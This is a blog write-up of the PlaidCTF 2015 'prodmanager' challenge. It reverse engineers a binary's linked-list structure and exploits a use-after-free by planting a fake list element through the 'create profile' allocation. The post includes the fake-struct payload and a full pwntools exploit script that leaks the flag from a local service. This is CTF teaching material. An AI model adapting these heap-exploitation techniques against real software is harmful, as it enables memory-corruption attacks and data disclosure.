Wednesday, June 24, 2015

PlaidCTF Quals 2015 "prodmanager" - practice session write-up

This is another practice session write-up (disclaimer).
Today's challenge is called "prodmanager" and is from PlaidCTF Quals 2015.

You can download the ELF here.


Running the usual stuff first to see if we get anything interesting...

# file prodmanager 
prodmanager: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped

# /opt/checksec.sh --file prodmanager 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   prodmanager

(I will omit strings since there is nothing special to see)

After trying to run the app we see that it requires a file named flag to be in the same folder as the binary. That's probably how it is setup on the target server so makes sense to mimic that locally. I crated a file named flag with the following content:
This_is_My_Pretty_Dummy_flaaaag_!!!!1!

After that the app starts normally and gives us a menu and some info on top. You can play around the app to get a feel of what it does - basically, it creates a list of products (each product has a name and a price) which can be added to a "manager", and you can view the 3 items with the lowest price. The only cryptic functionality is the "create profile", since it does not seem to do/print anything ...

Looking at the disassembly we can see the functions being used in the menu:
  • 0x08048C7B - main menu with the options
  • 0x08048852 - create product
  • 0x08048986 - remove product 
  • etc ...
After browsing around the assembly we see that the products are stored in a doubly linked lists. This being a CTF challenge it look very much like a use-after-free vulnerability (which is the most common vulnerability when dealing with linked lists).

At this point I tried to confirm that this was indeed a use-after-free vulnerability by running a few tests. Since the main menu gives us the ability to manipulate (add & remove) the items in the linked list, and that we can view the content of the list with option no. 4, I quickly found the following PoC:
  1. First create at least 3 products (option no. 1 in main menu)
  2. Add the 3 products from above to the manager (option no. 3 in main menu)
  3. Remove any product (option no. 2 in main menu)
  4. View the lowest 3 products (option no. 4 in main menu)- this is where we see that there is indeed a use-after-free vulnerability

Menu options:
1) Create a new product 
2) Remove a product 
3) Add a product to the lowest price manager 
4) See and remove lowest 3 products in manager 
5) Create a profile (Not complete yet)
Input: 4
Lowest product is Milk
 ($21)
Lowest product is Sugar
 ($-1217022992)
Lowest product is Spice
 ($23)

Now that we know what we are dealing with, we can continue with the analysis. In order to get the flag we need to do the following things:
  1. Find out where and how the flag is being loaded from the filesystem (remember, we know that we need a file named flag in the same directory as the app - we need to inspect where the flag is in memory after it is read)
  2. Analise the structure of the linked list which contains the use-after-free vulnerability (presumably we will need to inject a valid element into the linked list to exploit the use-after-free vulnerability)
  3. Find a valid entry point for the payload (at this point we don't know how to put the payload at the right place in memory)

Step 1 - finding the flag in memory
To make it easier to spot the flag, I changed it to a bunch of A's. From the read function assembly at 0x08048BD4, we can see that the flag is being loaded at offset 0x0804C3E0.
.text:08048C31                 mov     dword ptr [esp+8], offset unk_804C3E0
.text:08048C39                 mov     dword ptr [esp+4], offset aS ; "%s"
.text:08048C41                 mov     eax, [ebp+stream]
.text:08048C44                 mov     [esp], eax
.text:08048C47                 call    ___isoc99_fscanf

Looking at the memory dump, we can see the flag nicely!
0804:c3d0|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|................|
0804:c3e0|41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41|AAAAAAAAAAAAAAAA|
0804:c3f0|41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41|AAAAAAAAAAAAAAAA|
0804:c400|41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41|AAAAAAAAAAAAAAAA|
0804:c410|41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41|AAAAAAAAAAAAAAAA|
0804:c420|41 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00|AA..............|
0804:c430|00  

Step 2 - understand the linked list structure
Understandably, there are a lot of functions that operate on the linked list structure in this app. Although we do not see the original struct which was used, we can reverse engineer a rough idea of the struct by looking at how it is being used.


Perhaps the most promising function is located at 0xo8048D54. It appears to be an initialization function which sets the price and the name of the product, and sets 5 other fields to zero. The price seems to be an integer value, while the name is a character array of length 0x32 (50) bytes. Now it would be useful to find out what these other 5 fields are used for.
int struct_init_8048D54(int alloc_space, char *prod_name, int price)
{
  int result; 
  *(_DWORD *)(alloc_space + 4) = 0;  
  *(_DWORD *)(alloc_space + 8) = 0;
  *(_DWORD *)(alloc_space + 12) = 0;
  *(_DWORD *)(alloc_space + 16) = 0;
  *(_DWORD *)(alloc_space + 20) = 0;
  strncpy((char *)(alloc_space + 24), prod_name, 0x32u);  #name
  result = alloc_space;
  *(_DWORD *)alloc_space = price;   #price 
  return result;
}       

The function at offset 0x08048E7F seems to be used to retrieve the pointer to a product which contains a provided name. Looking at the way the list is being iterated i = * (i + 4), it is obvious that at offset 4 (second field) the struct contains a reference to the next struct in the list.
int get_by_name_8048E7F(int linkedList, char *product_name)
{
  int i;
  for ( i = *(_DWORD *)linkedList; i; i = *(_DWORD *)(i + 4) )
  {
    if ( !strncmp((const char *)(i + 24), product_name, 0x32u) )
      return i;
  }
  return 0;
}

So far so good! :)
The function at offset 0x08048E2C is invoked when removing an element from the list. From the function assembly we can easily see that at offset 8 (3rd field) the struct contains a reference to the previous element, which means that this is a doubly linked list.
int remove_from_linked_list_8048E2C(int orig_array, int to_remove)
{
  int result; 
  if ( *(_DWORD *)orig_array == to_remove )     // if to_remove element is equal to first element
    *(_DWORD *)orig_array = *(_DWORD *)(to_remove + 4);// just replace orig with next from to_remove
  else
    *(_DWORD *)(*(_DWORD *)(to_remove + 8) + 4) = *(_DWORD *)(to_remove + 4);// orig.next = to_remove.next
  if ( *(_DWORD *)(orig_array + 4) == to_remove )
  {
    result = orig_array;
    *(_DWORD *)(orig_array + 4) = *(_DWORD *)(to_remove + 8);
  }
  else
  {
    result = *(_DWORD *)(to_remove + 4);
    *(_DWORD *)(result + 8) = *(_DWORD *)(to_remove + 8);
  }
  return result;
}

Looking at the rest of the assembly code dealing with the list I could not make out what the other 3 field actually do. The functions at 0x08048F0 and 0x080494A0 may hold a key to that answer. From the above analysis, we can conclude that the linked list elements look something like this:
alloc_space + 0    # price 
alloc_space + 4    # next   
alloc_space + 8    # previous
alloc_space + 12 
alloc_space + 16 
alloc_space + 20 
alloc_space + 24   #name (50)

Step 3 - find an entry point for the payload
Since we know we are dealing with a use-after-free vulnerability, we need to find a way to introduce our custom payload into the free memory before trigger its (re)use. In order to trick the app into thinking that our payload is a valid struct/element of the linked list, we need to mimic the original struct/element as closely as possible. This is not a problem since we identified how the elements of the list look like in step 2.
Now, we need to find the place where we can introduce the new struct after the memory is being freed. Looking at the create product function at 0x08048852, we see that malloc is being used to allocate 0x4C bytes (which is the size of the struct we identified). Interestingly, this same amount of memory is being allocated in the create profile function at 0x08048B4E! This could be our entry point.

Wrapping up
Now we know how to invoke the vulnerability and insert our payload:
  1. First create at least 3 products (option no. 1 in main menu)
  2. Add the 3 products from above to the manager (option no. 3 in main menu)
  3. Remove product (option no. 2 in main menu)
  4. Create product by and introduce payload (option no. 5 in main menu)
  5. View the lowest 3 products (option no. 4 in main menu)
To make thing easier, I wrote a python script to automate all this overhead we need to get to the actual exploiting... the script is at the bottom if the writeup, as usual.

The only problem now was that I was not sure what the 3 unknown fields in the struct should contain. Also, I was not sure how to spoof valid next and previous values. My first instinct was to remove the first element from the list, create a dummy element whose name element points to the flag (at location 0x0804c3e0). Unfortunately that didn't work so I started fuzzing the create profile parameter in the hopes of finding a clue. I used the bellow pattern as a starting point.

# /usr/share/metasploit-framework/tools/pattern_create.rb 40
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A

After issuing the string above as input in the create profile function, we get a segmentation fault that says the address 0x41346151 (Qa4A) is not accessible. Now we know the offset which can be used to put the flag address.One thing is however strange... it seems the last byte is increased by 24 - so we need to take this into account when building our payload. To sum up here is what the payload looks like...


payload = p32(6)     # price 
payload += p32(0)    # next   
payload += p32(0)    # prev
payload += p32(0) 
payload += p32(flag_addr - 24)  
payload += p32(0)
payload += "KiKi"  #name (50)

And here is the python script used to exploit!

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack, unpack

products = {"Milk" : "21", "Sugar" : "22", "Spice" : "23", "EvNice" : "24"}
to_remove = 1
flag_addr = 0x0804c3e0

def create_products():
 for item in products.keys():
  log.info(conn.recvuntil("Input:"))
  conn.sendline("1")
  
  log.info(conn.recvuntil("Enter product name:"))
  conn.sendline(item)           # product name
  log.info(conn.recvuntil("Enter product price:"))
  conn.sendline(products[item]) # price
  
 
def add_products_to_manager():
 for item in products.keys():
  log.info(conn.recvuntil("Input:"))
  conn.sendline("3")
  
  log.info(conn.recvuntil("Which product name would you like to add:")) 
  conn.sendline(item)
  
def remove_product():
 log.info(conn.recvuntil("Input:"))
 conn.sendline("2")
 
 log.info(conn.recvuntil("Which product name would you like to remove:")) 
 conn.sendline(products.keys()[to_remove])  # product to remove

def create_malicious():
 log.info(conn.recvuntil("Input:"))
 conn.sendline("5")
 
 payload = p32(6)     # price 
 payload += p32(0)    # next   
 payload += p32(0)    # prev
 payload += p32(0) 
 payload += p32(flag_addr - 24)  
 payload += p32(0)
 payload += "KiKi"  #name (50)
 conn.sendline(payload)

def call_malicious():
 log.info(conn.recvuntil("Input:"))
 conn.sendline("4")
 
 log.info(conn.recvuntil("Input:"))
 
conn = remote("localhost", 6667)


create_products()
add_products_to_manager()
remove_product()

create_malicious()

call_malicious()
print conn.recv()



No comments:

Post a Comment